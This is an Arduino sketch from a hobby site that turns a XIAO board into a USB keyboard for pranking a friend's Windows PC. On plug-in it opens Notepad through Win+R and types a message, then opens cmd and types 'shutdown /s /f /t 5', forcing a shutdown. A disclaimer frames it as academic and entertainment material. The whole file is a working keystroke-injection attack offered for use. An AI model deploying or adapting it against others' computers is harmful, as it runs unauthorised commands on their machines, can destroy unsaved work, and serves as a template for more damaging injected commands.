/*

FPGAlover.com
https://fpgalover.com/boards/arduino-boards/84-xiao-seeeduino-hid-device-to-shutdown-your-friend-windows-computer

 FPGAlover is not resposible for what you can do based on this example to your friend's computer or any other computer, this should solely be seen and used for academic purposes and entertaiment ones. So it is up to you and it will be totally your resposability if you decide to do with this information anything else. Rember to read this https://www.eccouncil.org/ethical-hacking/ 
*/


#include "Adafruit_TinyUSB.h"

// HID report descriptor using TinyUSB's template
// Single Report (no ID) descriptor
uint8_t const desc_hid_report[] =
{
  TUD_HID_REPORT_DESC_KEYBOARD(),
};

Adafruit_USBD_HID usb_hid;

// Output report callback for LED indicator such as Caplocks
void hid_report_callback(uint8_t report_id, hid_report_type_t report_type, uint8_t const* buffer, uint16_t bufsize)
{
  // LED indicator is output report with only 1 byte length
  if ( report_type != HID_REPORT_TYPE_OUTPUT ) return;

  // The LED bit map is as follows: (also defined by KEYBOARD_LED_* )
  // Kana (4) | Compose (3) | ScrollLock (2) | CapsLock (1) | Numlock (0)
  uint8_t ledIndicator = buffer[0];

  // turn on LED if caplock is set
  digitalWrite(LED_BUILTIN, ledIndicator & KEYBOARD_LED_CAPSLOCK);
}

// the setup function runs once when you press reset or power the board
 void setup()
{
  usb_hid.setPollInterval(2);
  usb_hid.setReportDescriptor(desc_hid_report, sizeof(desc_hid_report));
  usb_hid.setReportCallback(NULL, hid_report_callback);

  usb_hid.begin();

  // led pin
  pinMode(LED_BUILTIN, OUTPUT);
  digitalWrite(LED_BUILTIN, LOW);


  // wait until device mounted
  while( !USBDevice.mounted() ) delay(1);
}

void print_return(){
    uint8_t keycode[6] = {HID_KEY_RETURN};
    usb_hid.keyboardReport(0, 0, keycode);
}
void print_period(){
    uint8_t keycode[6] = {HID_KEY_PERIOD};
    usb_hid.keyboardReport(0, 0, keycode);
}

void print_home(){
     uint8_t keycode[6] = {  HID_KEY_HOME};
    usb_hid.keyboardReport(0, 0, keycode);
    delay(10);
    usb_hid.keyboardRelease(0);
    delay(100); 
}
void keyboard_hold_key(uint8_t key){
    uint8_t keycode[6] = {key};
    usb_hid.keyboardReport(0, 0, keycode);
  }
void print_backslash(){
    uint8_t keycode[6] = {HID_KEY_BACKSLASH};
    usb_hid.keyboardReport(0, 0, keycode);
    delay(10);
    usb_hid.keyboardRelease(0);
    delay(100);   
}

void print_ln(char * message, char len,char delays){
  char charactercecito=0;
  for(int i=0; i<len; i++){
      charactercecito=message[i];

      usb_hid.keyboardPress(0,charactercecito);

      delay(10);
      usb_hid.keyboardRelease(0);
      delay(delays+50);    
  }
  delay(100);
  print_home();
}

char notepad[]=" notepad\n";
void open_notepad(){
  uint8_t keycode[6] = {0};
  uint8_t modifier = 0;
  keycode[0] = HID_KEY_GUI_LEFT;
  keycode[2] = HID_KEY_R;
  //keycode[2] = HID_KEY_R;
  usb_hid.keyboardReport(0, 0 , keycode);
  delay(100);
  //keycode[0] = HID_KEY_R;
  //keycode[2] = HID_KEY_R;
  //usb_hid.keyboardReport(0, 0 , keycode);
  usb_hid.keyboardRelease(0);
  delay(100);
  print_ln(notepad,sizeof(notepad),0);
}

char app_cmd[]=" cmd\n";
void open_cmd(){
  uint8_t keycode[6] = {0};
  uint8_t modifier = 0;
  keycode[0] = HID_KEY_GUI_LEFT;
  keycode[2] = HID_KEY_R;
  //keycode[2] = HID_KEY_R;
  usb_hid.keyboardReport(0, 0 , keycode);
  delay(100);
  //keycode[0] = HID_KEY_R;
  //keycode[2] = HID_KEY_R;
  //usb_hid.keyboardReport(0, 0 , keycode);
  usb_hid.keyboardRelease(0);
  delay(100);
  print_ln(app_cmd,sizeof(app_cmd),0);
}
char cmd_shutdown[]=" shutdown /s /f /t 5\n";
void shutdown_pc(){
  print_ln(cmd_shutdown,sizeof(cmd_shutdown),0);
}



char buf0[]="FPGAlover loves  you!";
void loop() {
  
  //  // Remote wakeup
  if ( USBDevice.suspended())
  {
    // Wake up host if we are in suspend mode
    // and REMOTE_WAKEUP feature is enabled by host
    USBDevice.remoteWakeup();
  }

  if ( !usb_hid.ready() ) return;

  delay(5000);

  open_notepad();
  print_ln(buf0,sizeof(buf0),50);
  open_cmd();
  shutdown_pc();
  
  while(1){
    delay(10000);
  }
}